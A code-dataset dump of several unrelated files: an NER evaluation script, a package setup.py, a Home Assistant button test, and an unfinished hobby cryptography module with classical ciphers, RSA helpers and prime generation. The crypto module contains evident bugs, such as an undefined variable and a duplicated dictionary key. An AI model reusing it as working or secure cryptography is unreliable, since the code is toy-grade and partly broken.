get_subset_pairs(subset_list):\n\tsubset_pairs = []\n\tfor subset in subset_list:\n\t\tname_pairs = [(i, j) for i in subset for j in subset if i != j]\n\t\tsubset_pairs.append(name_pairs)\n\treturn([s for l in subset_pairs for s in l])\n\ndef rand_index(ner_list, gold_standard):\n\t\"\"\" Modified version of Rand index, only deals with recall\"\"\"\n\tgold_standard_pairs = Multiset(get_subset_pairs(gold_standard))\n\tner_list_pairs = Multiset(get_subset_pairs(ner_list))\n\treturn(len(gold_standard_pairs.intersection(ner_list_pairs))/len(gold_standard_pairs))\n\ndef evaluate_precision_and_recall(ner_list, gold_standard, entity_type, skip_precision = \"skip precision\"):\n\t\"\"\" Gold standard should be a list of lists in which co-referent entities belong to the same sub-list\"\"\" \n\t\n\tresults_dict = {}\n\tflattened_gs = list(np.concatenate(gold_standard))\t\n\tflattened_ner = list(np.concatenate(ner_list))\n\n\tresults_dict[\"entity_recall\"] = entity_recall(ner_list, gold_standard)\n\tresults_dict[\"names_recall\"] = names_recall(ner_list, gold_standard)\n\n\tfiltered_ner_list = [list(filter(lambda x: x in flattened_gs, sublist)) for sublist in ner_list]\t\n\tfiltered_ner_list = list(filter(lambda x: len(x) > 0, filtered_ner_list))\n\tfiltered_gold_standard = [list(filter(lambda x: x in flattened_ner, sublist)) for sublist in gold_standard]\t\n\tfiltered_gold_standard = list(filter(lambda x: len(x) > 0, filtered_gold_standard))\n\n\tresults_dict[\"rand_index\"] = rand_index(filtered_ner_list, filtered_gold_standard)\n\tflattened_ner = list(np.concatenate(ner_list))\n\tnp.random.shuffle(flattened_ner)\n\tif not skip_precision:\n\t\tresults_dict[\"names_precision\"] = names_precision(flattened_ner[:50], entity_type)\n\treturn(results_dict)\n\ndef print_results(results_dict, method_code):\n\tprint(\"***\", method_code, \"***\")\n\tprint(\"Recall based on entities discovered:\")\n\tprint(results_dict[\"entity_recall\"])\n\tprint(\"Recall based on names discovered:\")\t\n\tprint(results_dict[\"names_recall\"])\n\tprint(\"Rand index (measure of accuracy of clustering**): \\n **of the names which were correct\")\n\tprint(results_dict[\"rand_index\"])\n\tif \"names_precision\" in results_dict:\n\t\tprint(\"Names precision:\")\n\t\tprint(results_dict[\"names_precision\"])\n\t\n\t\nif __name__ == \"__main__\":\n\tdata_dir = op.join(os.environ[\"MIMIR_DIR\"], \"data\")\t\n\n\tskip_precision = True if input(\"Skip precision? (requires hand-labelling) [y/n]\") == \"y\" else False\n\n\tdracula_wiki_plot = op.join(data_dir, \"dracula_wiki_plot.txt\")\n\tdracula_full_text = op.join(data_dir, \"Dracula_full_text.txt\")\n\tnltk_person_list = [[ent[0]] for ent in ne_list_from_file(dracula_full_text) if ent[1] == \"PERSON\"]\n\t\n\tline_list = get_line_list_from_file(dracula_full_text)\n\tspacy_entities = spacy_get_entities(line_list)\n\tspacy_person_list = [[ent[0]] for ent in spacy_entities if ent[1] == \"PERSON\"]\n\tnltk_results = evaluate_precision_and_recall(nltk_person_list, gold_standard_people, \"person\", skip_precision=skip_precision)\n\tspacy_results = evaluate_precision_and_recall(spacy_person_list, gold_standard_people, \"person\", skip_precision=skip_precision)\n\n\tprint_results(nltk_results, \"NLTK for people\")\n\tprint_results(spacy_results, \"Spacy for people\")\n", "sub_path": "qa/corpus_utils/evaluate_ner.py", "file_name": "evaluate_ner.py", "file_ext": "py", "file_size_in_byte": 5336, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.random.seed", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 9, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 27, "usage_type": "call"}, {"api_name": "os.system", "line_number": 45, "usage_type": "call"}, {"api_name": "multiset.Multiset", "line_number": 57, "usage_type": "call"}, {"api_name": "multiset.Multiset", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "name"}, {"api_name": "utils.ne_list_from_file", "line_number": 103, "usage_type": "call"}, {"api_name": "utils.get_line_list_from_file", "line_number": 105, "usage_type": "call"}]} +{"seq_id": "145199523", "text": "#!/bin/env python\n\"\"\"Ampho setup.py\n\"\"\"\n__author__ = 'Alexander Shepetko'\n__email__ = 'a@shepetko.com'\n__license__ = 'MIT'\n\nimport io\nimport re\nfrom setuptools import find_packages, setup\n\nPKG_NAME = 'ampho'\nGITHUB_USER = 'ampho-cms'\n\nwith io.open('README.rst', 'rt') as f:\n readme = f.read()\n\nwith io.open(f'src/{PKG_NAME.replace(\"-\", \"_\")}/__init__.py', 'rt') as f:\n content = f.read()\n description = re.search(r\"__description__ = '(.*?)'\", content).group(1) # type: ignore\n author = re.search(r\"__author__ = '(.*?)'\", content).group(1) # type: ignore\n author_email = re.search(r\"__email__ = '(.*?)'\", content).group(1) # type: ignore\n lic = re.search(r\"__license__ = '(.*?)'\", content).group(1) # type: ignore\n version = re.search(r\"__version__ = '(.*?)'\", content).group(1) # type: ignore\n\nsetup(\n name=PKG_NAME,\n version=version,\n url=f'https://github.com/{GITHUB_USER}/{PKG_NAME}',\n project_urls={\n 'Code': f'https://github.com/{GITHUB_USER}/{PKG_NAME}',\n 'Documentation': f'https://github.com/{GITHUB_USER}/{PKG_NAME}/blob/master/doc/index.rst',\n 'Issue tracker': f'https://github.com/{GITHUB_USER}/{PKG_NAME}/issues',\n },\n license=lic,\n author=author,\n author_email=author_email,\n maintainer=author,\n maintainer_email=author_email,\n description=description,\n long_description=readme,\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n 'Topic :: Internet :: WWW/HTTP :: WSGI :: Application',\n 'Topic :: Software Development :: Libraries :: Application Frameworks',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ],\n packages=find_packages('src'),\n package_dir={'': 'src'},\n include_package_data=True,\n python_requires='>=3.6',\n install_requires=[\n 'flask==1.*',\n 'colorama==0.*',\n 'htmlmin==0.*',\n 'blinker==1.*',\n ],\n entry_points={\n 'console_scripts': [\n 'ampho = ampho.main:main'\n ]\n },\n)\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 2447, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "io.open", "line_number": 15, "usage_type": "call"}, {"api_name": "io.open", "line_number": 18, "usage_type": "call"}, {"api_name": "re.search", "line_number": 20, "usage_type": "call"}, {"api_name": "re.search", "line_number": 21, "usage_type": "call"}, {"api_name": "re.search", "line_number": 22, "usage_type": "call"}, {"api_name": "re.search", "line_number": 23, "usage_type": "call"}, {"api_name": "re.search", "line_number": 24, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 26, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "18957068", "text": "\"\"\"Test the Z-Wave JS button entities.\"\"\"\nfrom homeassistant.components.button.const import DOMAIN as BUTTON_DOMAIN, SERVICE_PRESS\nfrom homeassistant.const import ATTR_ENTITY_ID\n\n\nasync def test_ping_entity(\n hass,\n client,\n climate_radio_thermostat_ct100_plus_different_endpoints,\n integration,\n):\n \"\"\"Test ping entity.\"\"\"\n client.async_send_command.return_value = {\"responded\": True}\n\n # Test successful ping call\n await hass.services.async_call(\n BUTTON_DOMAIN,\n SERVICE_PRESS,\n {\n ATTR_ENTITY_ID: \"button.z_wave_thermostat_ping\",\n },\n blocking=True,\n )\n\n assert len(client.async_send_command.call_args_list) == 1\n args = client.async_send_command.call_args_list[0][0][0]\n assert args[\"command\"] == \"node.ping\"\n assert (\n args[\"nodeId\"]\n == climate_radio_thermostat_ct100_plus_different_endpoints.node_id\n )\n\n client.async_send_command.reset_mock()\n", "sub_path": "tests/components/zwave_js/test_button.py", "file_name": "test_button.py", "file_ext": "py", "file_size_in_byte": 957, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "homeassistant.components.button.const.DOMAIN", "line_number": 17, "usage_type": "argument"}, {"api_name": "homeassistant.components.button.const.SERVICE_PRESS", "line_number": 18, "usage_type": "argument"}, {"api_name": "homeassistant.const.ATTR_ENTITY_ID", "line_number": 20, "usage_type": "name"}]} +{"seq_id": "171839982", "text": "import time # for timing the encryption/decryption processes\nimport csv # to convert ngram csv to a dictionary\nimport base64 # for several character encoding schemes\nimport itertools # For forever for loop\nimport random # to generate random numbers(random primes)\n\n\n################################################################################################### RESOURCES ##########\n\n# Sets containing available options for encryption/decryption. Add to this.\nencryption_set = {\"vigenere\", \"vigenere_multiplicative\",\n \"vigenere_exponential\", \"rotation\", \"rsa\"}\n\ndecryption_set = {\"vigenere\", \"vigenere_multiplicative\",\n \"vigenere_exponential\", \"rotation\", \"rotation_nokey\", \"vigenere_nokey\", \"rsa\"}\n\n\n# the set containing options in both encryption_list and decryption_list\nboth_set = encryption_set & decryption_set\n\n# the set containing options only in decryption_list\ndecryption_only_set = decryption_set - encryption_set\n\n\n# The characters used for more classical ciphers\nchar_sets = [\"unicode\", \"unicode_plane0\", \"ascii\", \"extended_ascii\"]\n\n# Most often used with asymmetrical ciphers. The character sets used to render random series of bits into \"readable\" text\nchar_encoding_schemes = [\"base16\", \"base32\", \"base64\", \"base85\", \"ascii\", \"extended_ascii\"]\n\n# Dictionery with character sets to the number of characters in them\nchar_set_to_char_set_size = {\n \"base16\": 16,\n \"base32\": 32,\n \"base64\": 64,\n \"base85\": 85,\n \"ascii\": 128,\n \"extended_ascii\": 256,\n \"unicode\": 1114112,\n \"unicode_plane0\": 65536\n}\n\n# Unprintable characters in unicode\nSURROGATE_LOWER_BOUND = 55296 # inclusive\nSURROGATE_UPPER_BOUND = 57343 # inclusive\nSURROGATE_BOUND_LENGTH = 57343 - 55296 + 1 # equal to 2048\n\n\n# Dictionary with decryption methods to their corresponding encryption method\ndecryption_to_corresponding_encryption = {\n \"rotation\": \"rotation\",\n \"rotation_nokey\": \"rotation\",\n \"vigenere\": \"vigenere\",\n \"vigenere_multiplicative\": \"vigenere_multiplicative\",\n \"vigenere_exponential\": \"vigenere_exponential\",\n \"vigenere_nokey\": \"vigenere\",\n \"rsa\": \"rsa\"\n}\n\n\n# Dictionary with encryption methods to the type of key used (2 represents a general key of any positive size)\nencryption_key_type = {\n \"rotation\": 1,\n \"vigenere\": 2,\n \"vigenere_exponential\": 2,\n \"vigenere_exponential\": 2,\n \"rsa\": 0\n}\n\n\n# Dictionary with decryption methods to whether or not they need keys\ndoes_decryption_need_key = {\n \"rotation\": True,\n \"rotation_nokey\": False,\n \"vigenere\": True,\n \"vigenere_exponential\": True,\n \"vigenere_multiplicative\": True,\n \"rsa\": False\n}\n\n\n# The set contaning english word. Load into this if necessary\nenglish_words = None\n\n# The dictionary containing mappings from ngram to its frequency. Load into this if necessary\nngram_to_frequency = None\n\n# The dictionary containing mapping from ngram to its order (So TH is 1)\nngram_to_positional_index = None\n\n\n\n\n\n######################################################################### USER INTERFACING AND FUNCTION CALLS ##########\n\n\n\n# This function runs encryption/decryption on a single char key. It asks for user info and runs everything\ndef symmetric_encrypt_or_decrypt_with_single_char_key(data, output_location, package, module, encrypt_or_decrypt):\n \"\"\"\n This function runs encryption/decryption on a single character key. It obtains information from the user necessary\n to run the encryption/decryption in a particular configuration(such as with character set) and writes statistics\n and relevant information to a file.\n\n :param data: (string) the data to be encrypted/decrypted\n :param output_location: (string) the file to write stats and relevant info to\n :param package: (string) the package in which the encryption/decryption function is in\n :param module: (string) the module in which the encryption/decryption function is in\n :param encrypt_or_decrypt: (string) specifies encryption or decryption\n :return: (string) the encrypted text\n \"\"\"\n\n # Obtain the char_set and the endchar\n char_set, num_chars = _take_char_set(char_sets)\n\n # Take a single character key from the user\n key = _get_single_char_key()\n\n # Execute encryption and write into\n text = _execute_and_write_info(data, key, char_set, output_location,\n package, module, encrypt_or_decrypt)\n\n # Return encrypted text to be written in cryptography_runner\n return text\n\n\n\n# This function runs encryption/decryption on a key of any size. It asks for user info and runs everything\ndef symmetric_encrypt_or_decrypt_with_general_key(data, output_location, package, module, encrypt_or_decrypt):\n \"\"\"\n This function runs encryption/decryption on a general key. It obtains information from the user necessary\n to run the encryption/decryption in a particular configuration (such as with character set) and writes statistics\n and relevant information to a file.\n\n :param data: (string) the data to be encrypted/decrypted\n :param output_location: (string) the file to write stats and relevant info to\n :param package: (string) the package in which the encryption/decryption function is in\n :param module: (string) the module in which the encryption/decryption function is in\n :param encrypt_or_decrypt: (string) specifies encryption or decryption\n :return: (string) the encrypted text\n \"\"\"\n\n # Obtain the char_set and the num_chars\n char_set, num_chars = _take_char_set(char_sets)\n\n # Take a single character key from the user\n key = _get_general_key()\n\n # Execute encryption and write into\n text = _execute_and_write_info(data, key, char_set, output_location,\n package, module, encrypt_or_decrypt)\n\n # Return text to be written in cryptography_runner\n return text\n\n\n# This function runs encryption/decryption without a key.\ndef symmetric_encrypt_or_decrypt_without_key(data, output_location, package, module, encrypt_or_decrypt):\n\n # Obtain the char_set and the num_chars\n char_set, num_chars = _take_char_set(char_sets)\n\n # Execute the encryption/decryption\n text = _execute_and_write_info_no_key(data, \"randomKey\", char_set, output_location, package, module, encrypt_or_decrypt)\n\n # Return text to be written in cryptography_runner\n return text\n\n\n\n\n\n\n# This function runs encryption without a key (generates asymmetric pair of keys)\ndef asymmetric_encrypt_and_generate_keys(data, output_location, package, module, encrypt_or_decrypt):\n\n\n # Obtain a character encoding scheme\n char_scheme, num_chars = _take_char_encoding_scheme(char_encoding_schemes)\n\n\n # Obtain a public key\n public_key = _get_public_key()\n\n\n # Execute the encryption/decryption.\n ciphertext = _execute_encrypt_and_write_info_asymmetric_keys(data, public_key, char_scheme, output_location,\n package, module, encrypt_or_decrypt)\n\n # Return encrypted text to be written in cryptography_runner\n return ciphertext\n\n\n# This function runs decryption with a private key (asymmetric ciphers)\ndef asymmetric_decrypt_with_key(data, output_location, package, module, encrypt_or_decrypt):\n\n # Obtain the character encoding scheme and the num_chars\n encoding_scheme, num_chars = _take_char_set(char_encoding_schemes)\n\n # Take a single character key from the user\n key = _get_general_key()\n\n # Execute encryption and write into\n text = _execute_and_write_info(data, key, encoding_scheme, output_location,\n package, module, encrypt_or_decrypt)\n\n # Return text to be written in cryptography_runner\n return text\n\n\n\n\n\n\n\n\n########################################################################################### USEFUL ALGORITHMS ##########\n\n# This function figures out what character set the encrypted data is in. NOT 100% accurate\ndef char_set_of_ciphertext(ciphertext):\n \"\"\"\n This fucntion iterates through all the characters in the ciphertext and checks what sort of character set they are\n in. Note that this does not 100% guarantee that the plaintext was encrypted using this particular character\n set. More accurate for longer ciphertexts.\n\n :param ciphertext: (string) the ciphertext\n :return: (string) the character set the ciphertext was most likely encrypted in\n \"\"\"\n\n # first pass through ciphertext, check if there are unicode characters (256 and above)\n for x in ciphertext:\n if ord(x) >= 256:\n return \"unicode\"\n\n # second pass through ciphertext, check if there are extended_ascii characters(128 and above)\n for x in ciphertext:\n if ord(x) >= 128:\n return \"extended_ascii\"\n\n # Otherwise, only ascii characters\n return \"ascii\"\n\n\n# This function converts the ciphertext in integer form into the proper character encoding scheme . Pads up to keysize\ndef int_to_chars_encoding_scheme_pad(number, encoding, key_size):\n \"\"\"\n This function turns an integer into a character using whichever chosen encoding scheme. This uses a bunch of if\n statements to build up the encoded string declared in the beginning. It is returned all the way in the end.\n\n :param number: (int) the number to encode\n :param encoding: (string) the type of character encoding to use (see dict char_encoding_schemes)\n :param key_size: (string) The size of the key (and thus, the ciphertext). Pad 0's in front if necessary. This should\n be divisible by 8.\n :return: (string) the encoded form.\n \"\"\"\n\n # Build up encoded string here. Return at end of function.\n encoded = \"\"\n\n\n # If base16,\n if encoding == \"base16\":\n # Turn the number into a bytearray(Calculate bytes needed with key_size / 8)\n number = number.to_bytes( key_size // 8 ,byteorder=\"big\")\n\n # Encode the bytearray using base64. Turn the resulting encoded bytearray into a string. Remove \"b'\" and \"'\"\n encoded = str(base64.b16encode(number))[2: -1]\n\n # If base32\n elif encoding == \"base32\":\n # Turn the number into a bytearray(Calculate bytes needed with key_size / 8)\n number = number.to_bytes( key_size // 8 ,byteorder=\"big\")\n\n # Encode the bytearray using base64. Turn the resulting encoded bytearray into a string. Remove \"b'\" and \"'\"\n encoded = str(base64.b32encode(number))[2: -1]\n\n # If base 64\n elif encoding == \"base64\":\n\n # Turn the number into a bytearray(Calculate bytes needed with key_size / 8)\n number = number.to_bytes( key_size // 8 ,byteorder=\"big\")\n\n # Encode the bytearray using base64. Turn the resulting encoded bytearray into a string. Remove \"b'\" and \"'\"\n encoded = str(base64.b64encode(number))[2: -1]\n\n\n # If base 85\n elif encoding == \"base85\":\n\n # Turn the number into a bytearray(Calculate bytes needed with key_size / 8)\n number = number.to_bytes( key_size // 8 ,byteorder=\"big\")\n\n # Encode the bytearray using base64. Turn the resulting encoded bytearray into a string. Remove \"b'\" and \"'\"\n encoded = str(base64.b85encode(number))[2: -1]\n\n\n\n # If extended_ascii, turn int to bits. Read bits 8 at a time. Pad \"0\" in front if necessary\n elif encoding == \"extended_ascii\":\n\n # Turn the integer into a string with binary representation. Get rid of leading \"0b\"\n number = bin(number)[2:]\n\n # Pad the front if necessary (all the way up to key_size)\n if len(number) < key_size:\n number = (key_size - len(number)) * \"0\" + number\n\n # Read bits 8 at a time. Interpret those 8 bits as extended_ascii(unicode) and add to encoded\n while number != \"\":\n encoded += chr( int(number[0:8], 2) )\n number = number[8:]\n\n\n\n\n\n return encoded\n\n\n# This function converts an integer into chars with encoding scheme. DOES NOT pad for keysize\ndef int_to_chars_encoding_scheme(number, encoding):\n \"\"\"\n This function turns an integer into a character using whichever chosen encoding scheme. This uses a bunch of if\n statements to build up the encoded string declared in the beginning. It is returned all the way in the end.\n\n :param number: (int) the number to encode\n :param encoding: (string) the type of character encoding to use (see dict char_encoding_schemes)\n :return: (string) the encoded form.\n \"\"\"\n\n # Build up encoded string here. Return at end of function.\n encoded = \"\"\n\n # If base16,\n if encoding == \"base16\":\n # Turn the number into a bytearray(Pad up to the nearest byte)\n number = number.to_bytes( (number.bit_length() + 7) // 8 ,byteorder=\"big\")\n\n # Encode the bytearray using base64. Turn the resulting encoded bytearray into a string. Remove \"b'\" and \"'\"\n encoded = str(base64.b16encode(number))[2: -1]\n\n # If base32\n elif encoding == \"base32\":\n # Turn the number into a bytearray(Pad up to nearest byte)\n number = number.to_bytes( (number.bit_length() + 7) // 8 ,byteorder=\"big\")\n\n # Encode the bytearray using base64. Turn the resulting encoded bytearray into a string. Remove \"b'\" and \"'\"\n encoded = str(base64.b32encode(number))[2: -1]\n\n # If base 64\n elif encoding == \"base64\":\n\n # Turn the number into a bytearray(Pad up to nearest byte)\n number = number.to_bytes( (number.bit_length() + 7) // 8 ,byteorder=\"big\")\n\n # Encode the bytearray using base64. Turn the resulting encoded bytearray into a string. Remove \"b'\" and \"'\"\n encoded = str(base64.b64encode(number))[2: -1]\n\n\n # If base 85\n elif encoding == \"base85\":\n\n # Turn the number into a bytearray(Pad up to nearest byte)\n number = number.to_bytes( (number.bit_length() + 7) // 8 ,byteorder=\"big\")\n\n # Encode the bytearray using base64. Turn the resulting encoded bytearray into a string. Remove \"b'\" and \"'\"\n encoded = str(base64.b85encode(number))[2: -1]\n\n\n\n # If extended_ascii, turn int to bits. Read bits 8 at a time. Pad \"0\" in front if necessary\n elif encoding == \"extended_ascii\":\n\n # Turn the integer into a string with binary representation. Get rid of leading \"0b\"\n number = bin(number)[2:]\n\n # Pad the front if necessary (all the way up to nearest byte, so divisible by 8)\n if len(number) % 8 != 0:\n number = (8 - (len(number) % 8) ) * \"0\" + number\n\n # Read bits 8 at a time. Interpret those 8 bits as extended_ascii(unicode) and add to encoded\n while number != \"\":\n encoded += chr( int(number[0:8], 2) )\n number = number[8:]\n\n\n\n return encoded\n\n\n# This function converts encoded characters into a number using the proper characte endocing scheme\ndef chars_to_int_encoding_scheme(string, encoding):\n \"\"\"\n Does the opposite of int_to_chars_encoding_scheme\n\n :param string: (string) the string to be decoded\n :param encoding: (string) the name of the encoding scheme used\n :return: (int) the decoded integer\n \"\"\"\n\n decoded = 0\n\n\n # If scheme was hex, then use int()\n if encoding == \"base16\":\n decoded = base64.b16decode(string)\n decoded = int.from_bytes(decoded, byteorder=\"big\")\n\n # elif base32, use base64 module function. Then, turn the bytes into an integer\n elif encoding == \"base32\":\n decoded = base64.b32decode(string)\n decoded = int.from_bytes(decoded, byteorder=\"big\")\n\n # elif base64, use base64 module fuction. THen, turn bytes into an integer\n elif encoding == \"base64\":\n decoded = base64.b64decode(string)\n decoded = int.from_bytes(decoded, byteorder=\"big\")\n\n # elif base85, use base64 module's function. Then, turn bytes into an integer\n elif encoding == \"base85\":\n decoded = base64.b85decode(string)\n decoded = int.from_bytes(decoded, byteorder=\"big\")\n\n\n # elif extended_ascii, turn extended_ascii into a long string of bits. Then, read bits as an integer\n elif encoding == \"ascii\":\n\n # Build up binary string here\n bin_string = \"\"\n\n # Loop through string. Add the ascii characters one at a time to bin_string (in binary form).\n for x in string:\n\n # Obtain binary form of the ascii character. Remove leading \"0b\"\n seven_bits = bin(ord(x))[2:]\n\n # Pad to eight digits if necessary\n if eight_bits % 8 != 0:\n eight_bits = (8 - eight_bits % 8) * \"0\" + eight_bits\n\n #Add to bin string\n bin_string += seven_bits\n\n\n # Read the binary string as an integer\n decoded = int(bin_string, 2)\n\n\n\n return decoded\n\n\n\n\n\n\n# the function to generate large primes. Pass in bit_length for the desired size of the generated prime\ndef generate_prime(bit_length):\n \"\"\"\n This function returns a large prime number of bit_length size. This works by producing a random number\n that is of size bit_length(in base 10). Then, the number is tested for primality. This is done by testing\n its compositeness with several small prime numbers to immediately rule out many composite numbers. If the\n number then passes that test, then the rabin-miller test is run up to 64 times to rule out composite. The\n returned number then has a very high probability that it is a prime number.\n\n :param bit_length: (int) the bit length of the generated prime\n :return: (int) the generated prime number\n \"\"\"\n\n # Loop until a prime number has been generated\n for x in itertools.count():\n num_to_test = random.randrange(2 ** (bit_length - 1), 2 ** bit_length)\n\n # the function to test whether a number is prime.\n def is_prime(num):\n\n # Check that that number is not evenly divisible by small primes. Immediately eliminates many non-primes\n small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29\n , 31, 37, 41, 43, 47, 53, 59, 61, 67, 71\n , 73, 79, 83, 89, 97, 101, 103, 107, 109, 113\n , 127, 131, 137, 139, 149, 151, 157, 163, 167, 173\n , 179, 181, 191, 193, 197, 199, 211, 223, 227, 229\n , 233, 239, 241, 251, 257, 263, 269, 271, 277, 281\n , 283, 293, 307, 311, 313, 317, 331, 337, 347, 349\n , 353, 359, 367, 373, 379, 383, 389, 397, 401, 409\n , 419, 421, 431, 433, 439, 443, 449, 457, 461, 463\n , 467, 479, 487, 491, 499, 503, 509, 521, 523, 541\n , 547, 557, 563, 569, 571, 577, 587, 593, 599, 601\n , 607, 613, 617, 619, 631, 641, 643, 647, 653, 659\n , 661, 673, 677, 683, 691, 701, 709, 719, 727, 733\n , 739, 743, 751, 757, 761, 769, 773, 787, 797, 809\n , 811, 821, 823, 827, 829, 839, 853, 857, 859, 863\n , 877, 881, 883, 887, 907, 911, 919, 929, 937, 941\n , 947, 953, 967, 971, 977, 983, 991, 997]\n\n # If 1 or less, not prime\n if num <= 1:\n return False\n\n # Check that number not evenly divisible by small primes\n for prime in small_primes:\n if num % prime == 0:\n return False\n\n # Setup for rabin miller test (write n - 1 as 2**power * d) by repeatedly dividing n - 1 by 2\n s = num - 1\n power = 0\n while s % 2 == 0:\n s = s // 2\n power += 1\n\n # Run the rabin miller test up to 64 times\n trials = 0;\n while trials < 64:\n\n rand_base = random.randrange(2, num - 1)\n result = pow(rand_base, s, num)\n\n # Test does not apply for result = 1. Try again with a different base\n if result == 1:\n continue\n\n # Check if the number is composite\n i = 0\n while result != (num - 1):\n\n # At this point, the number is composite\n if i == power - 1:\n return False\n\n # Not proven to be composite, so move to next iteration\n else:\n i = i + 1\n result = (result ** 2) % num\n\n # Passed one rabin-miller test. Move onto the next one\n trials += 1\n\n # passed all tests, so probably prime\n return True\n\n # If the generated number was prime, then return\n if is_prime(num_to_test):\n return num_to_test\n\n print(str(x) + \" primes tested\")\n\n\n\n\n\n\n\n# This function figures out whether the data is in English. Adjust threshold as necessary. Also return percent english\ndef is_english_bag_of_words(data):\n \"\"\"\n This function checks a string of data for English words. If it is mostly in English, the decryption has probably\n succeeded. This function uses the bag of words approach, in which the given data is separated into words, and\n the words are checked against a set of english words.\n\n :param data: (string) Check this for English\n :return: (boolean) indicates whether or not the text is in english\n :return: (double) the percentage of words that are in english\n \"\"\"\n\n # Remove punctuation from the data\n data = data.replace(\",\" , \"\")\n data = data.replace(\".\", \"\")\n data = data.replace(\";\", \"\")\n data = data.replace(\"?\", \"\")\n data = data.replace(\"!\", \"\")\n data = data.replace(\"-\", \" \")\n data = data.replace(\"\\\"\", \"\")\n data = data.replace(\"/\", \"\")\n data = data.replace(\"'s \", \" \")\n data = data.replace(\"'\", \"\")\n data = data.replace(\")\", \"\")\n data = data.replace(\"(\", \"\")\n\n # Remove digits from the data\n data = data.replace(\"0\", \"\")\n data = data.replace(\"1\", \"\")\n data = data.replace(\"2\", \"\")\n data = data.replace(\"3\", \"\")\n data = data.replace(\"4\", \"\")\n data = data.replace(\"5\", \"\")\n data = data.replace(\"6\", \"\")\n data = data.replace(\"7\", \"\")\n data = data.replace(\"8\", \"\")\n data = data.replace(\"9\", \"\")\n\n\n\n\n # Load the dictionary of english words into english_words (if necessary)\n global english_words\n if english_words is None:\n english_words = set(line.strip() for line in open(\"Library/English_Words.txt\"))\n\n\n # Percent of text that is english needed to pass as plaintext\n percent_english_threshold = 0.45\n average_english_word_len_loose = 10\n num_letters = len(data)\n data_expected_words = int(len(data) / average_english_word_len_loose)\n\n words = data.split()\n\n # if total_words is overly small(because wrong decryption), take expected words instead\n num_words = len(words)\n total_words = max( num_words, data_expected_words)\n\n english_word_counter = 0\n\n\n\n for word in words:\n if word.lower() in english_words:\n english_word_counter = english_word_counter + 1\n\n # If it passes the percent english threshold, return true and the percent english\n if (english_word_counter / total_words) >= percent_english_threshold:\n return True, (english_word_counter / total_words)\n\n\n # Else, return False and also the percent english\n return False, (english_word_counter / total_words)\n\n\n\n# This function figures out whether data is in English. TODO\ndef is_english_n_grams(data):\n \"\"\"\n This checks a string of data for ngrams, where the grams are letters. If these ngrams match the ngrams expected\n in English, it is probably in english. Possible ngram values are 1-9 (recommended: 2)\n\n The frequencies of the ngrams are converted into their logarithms (log(frequency)). This is done so that that\n frequency values of the ngrams are not multiplied together to find the final fitness, have their logarithms added\n together.\n\n The fitness of this data is then compared against the fitness_threshold to determine if it is english.\n\n :param data: (string) Check this for english\n :return: (boolean) whether or not the data is in english\n :return: (double) the percent English's most common ngrams found in data's most common ngrams\n \"\"\"\n\n # The type of ngram that we are using\n ngram_type = 2\n\n\n # The percent of most common ngrams in the data compared with the most common ngrams in English to qualify as it\n similarity_english_threshold = 0.1\n\n\n # Remove all non-letters from the data (replace with space)\n data = data.replace(\"'s \", \" \")\n data = list(data)\n for x in range(0, len(data)):\n if not str.isalpha(data[x]):\n data[x] = \" \"\n data = \"\".join(data)\n\n\n\n # Load into ngram_to_frequency if it is None. Also fill out ngram_to_positional_index\n global ngram_to_frequency\n global ngram_to_positional_index\n if ngram_to_frequency is None:\n ngram_to_frequency = {}\n ngram_to_positional_index = {}\n with open(\"Library/ngrams\" + str(ngram_type) + \".txt\", newline='') as my_file:\n reader = csv.DictReader(my_file, fieldnames=(\"ngram\", \"count\"))\n # Read each row as key-value pair\n for row in reader:\n ngram_to_frequency[row[\"ngram\"]] = row[\"count\"]\n\n # Fill out ngram_to_positional_index\n count = 1\n for x in ngram_to_frequency:\n ngram_to_positional_index[x] = count\n count += 1\n\n\n # Dictionary to store ngrams with their frequencies\n data_ngrams_frequencies = {}\n\n # Store the ngrams from data into data_ngrams(Skip spaces)\n for x in range(0, len(data) - ngram_type + 1):\n\n # If on space, then skip it\n if data[x] == \" \":\n continue\n\n ngram = data[x: x + ngram_type]\n\n # if ngram already exists, then increment value\n if ngram in data_ngrams_frequencies:\n data_ngrams_frequencies[ngram] += 1\n # Else does not exist, so append\n else:\n data_ngrams_frequencies[ngram] = 1\n\n\n # Get lists of the ngrams sorted by their frequencies\n most_frequent_ngrams_data = sorted(data_ngrams_frequencies, key=data_ngrams_frequencies.get)\n most_frequent_ngrams_english = sorted(ngram_to_frequency, key=ngram_to_frequency.get)\n\n # 